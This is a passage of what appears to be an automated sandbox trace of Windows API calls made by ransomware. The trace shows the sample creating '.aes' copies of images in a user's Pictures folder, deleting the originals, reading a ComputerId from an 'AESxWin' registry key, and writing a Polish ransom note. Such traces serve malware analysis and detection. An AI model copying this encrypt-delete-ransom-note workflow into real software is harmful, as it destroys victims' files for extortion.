IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.948] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.948] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.955] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.955] LocalFree (hMem=0x7074460) returned 0x0 [0082.955] GetBestInterfaceEx (in: pDestAddr=0x2776720*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0083.025] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\z3txdnfa.bmp")) returned 1 [0083.026] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0083.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0083.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8a7820, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xeb8a7820, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xeb8a7820, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0083.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0083.026] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0083.093] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png", lpFilePart=0x0) returned 0x50 [0083.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0083.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\3wlgr0fumkcnd1.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad3c070, ftCreationTime.dwHighDateTime=0x1d2f84c, ftLastAccessTime.dwLowDateTime=0xf442acf0, ftLastAccessTime.dwHighDateTime=0x1d30178, ftLastWriteTime.dwLowDateTime=0xf442acf0, ftLastWriteTime.dwHighDateTime=0x1d30178, nFileSizeHigh=0x0, nFileSizeLow=0x30fe)) returned 1 [0083.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0083.093] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png", lpFilePart=0x0) returned 0x50 [0083.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0083.093] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\3wlgr0fumkcnd1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0083.093] GetFileType (hFile=0x540) returned 0x1 [0083.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0083.093] GetFileType (hFile=0x540) returned 0x1 [0083.093] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png.aes", lpFilePart=0x0) returned 0x54 [0083.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0083.093] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\3wlgr0fumkcnd1.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0083.093] GetFileType (hFile=0x7ec) returned 0x1 [0083.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0083.094] GetFileType (hFile=0x7ec) returned 0x1 [0083.094] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0083.120] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0083.120] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0083.127] LocalFree (hMem=0x703ef10) returned 0x0 [0083.127] GetAdaptersAddresses () returned 0x6f [0083.131] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0083.131] GetAdaptersAddresses () returned 0x0 [0083.136] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.143] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.143] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.153] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.154] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.160] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.160] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.166] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.167] LocalFree (hMem=0x7074460) returned 0x0 [0083.167] GetBestInterfaceEx (in: pDestAddr=0x274b618*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0083.264] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\3wLGR0fUmkcND1.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\3wlgr0fumkcnd1.png")) returned 1 [0083.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x58 [0083.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0083.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0083.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0083.265] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0083.265] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0083.265] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x26fe198, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0083.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x58 [0083.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0083.266] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0083.266] GetFileType (hFile=0x7ec) returned 0x1 [0083.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0083.266] GetFileType (hFile=0x7ec) returned 0x1 [0083.266] WriteFile (in: hFile=0x7ec, lpBuffer=0x27071e0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x27071e0*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0083.266] CloseHandle (hObject=0x7ec) returned 1 [0083.267] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0083.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png", lpFilePart=0x0) returned 0x52 [0083.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0083.300] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\8hsxlmz5fcchefkc.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31d5420, ftCreationTime.dwHighDateTime=0x1d2f96c, ftLastAccessTime.dwLowDateTime=0x7fbeaa10, ftLastAccessTime.dwHighDateTime=0x1d30299, ftLastWriteTime.dwLowDateTime=0x7fbeaa10, ftLastWriteTime.dwHighDateTime=0x1d30299, nFileSizeHigh=0x0, nFileSizeLow=0xeb02)) returned 1 [0083.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0083.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png", lpFilePart=0x0) returned 0x52 [0083.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0083.300] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\8hsxlmz5fcchefkc.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0083.301] GetFileType (hFile=0x7ec) returned 0x1 [0083.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0083.301] GetFileType (hFile=0x7ec) returned 0x1 [0083.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png.aes", lpFilePart=0x0) returned 0x56 [0083.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0083.301] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\8hsxlmz5fcchefkc.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0083.301] GetFileType (hFile=0x8dc) returned 0x1 [0083.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0083.301] GetFileType (hFile=0x8dc) returned 0x1 [0083.301] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0083.309] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0083.309] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0083.316] LocalFree (hMem=0x703ef10) returned 0x0 [0083.316] GetAdaptersAddresses () returned 0x6f [0083.321] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0083.321] GetAdaptersAddresses () returned 0x0 [0083.326] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.332] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.332] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.397] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.397] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.403] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.403] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.409] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.410] LocalFree (hMem=0x7074460) returned 0x0 [0083.410] GetBestInterfaceEx (in: pDestAddr=0x2718ec8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0083.489] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\8hsXLmZ5FCCheFKC.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\8hsxlmz5fcchefkc.png")) returned 1 [0083.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x58 [0083.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0083.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd442c0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xebd442c0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xebd442c0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0083.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0083.490] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0083.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp", lpFilePart=0x0) returned 0x47 [0083.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0083.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\pr 2s.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3b3350, ftCreationTime.dwHighDateTime=0x1d30531, ftLastAccessTime.dwLowDateTime=0x5ea10f30, ftLastAccessTime.dwHighDateTime=0x1d302c6, ftLastWriteTime.dwLowDateTime=0x5ea10f30, ftLastWriteTime.dwHighDateTime=0x1d302c6, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0083.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0083.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp", lpFilePart=0x0) returned 0x47 [0083.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0083.570] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\pr 2s.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0083.570] GetFileType (hFile=0x7c8) returned 0x1 [0083.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0083.570] GetFileType (hFile=0x7c8) returned 0x1 [0083.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp.aes", lpFilePart=0x0) returned 0x4b [0083.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0083.570] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\pr 2s.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0083.570] GetFileType (hFile=0x7ec) returned 0x1 [0083.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0083.570] GetFileType (hFile=0x7ec) returned 0x1 [0083.571] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0083.608] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0083.608] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0083.618] LocalFree (hMem=0x703ef10) returned 0x0 [0083.618] GetAdaptersAddresses () returned 0x6f [0083.623] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0083.623] GetAdaptersAddresses () returned 0x0 [0083.629] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.636] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.636] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.646] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.647] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.653] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.654] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.660] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.661] LocalFree (hMem=0x7074460) returned 0x0 [0083.661] GetBestInterfaceEx (in: pDestAddr=0x28e3ac8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0083.763] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\pR 2s.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\pr 2s.bmp")) returned 1 [0083.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x58 [0083.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0083.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd442c0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xebd442c0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xebd442c0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, 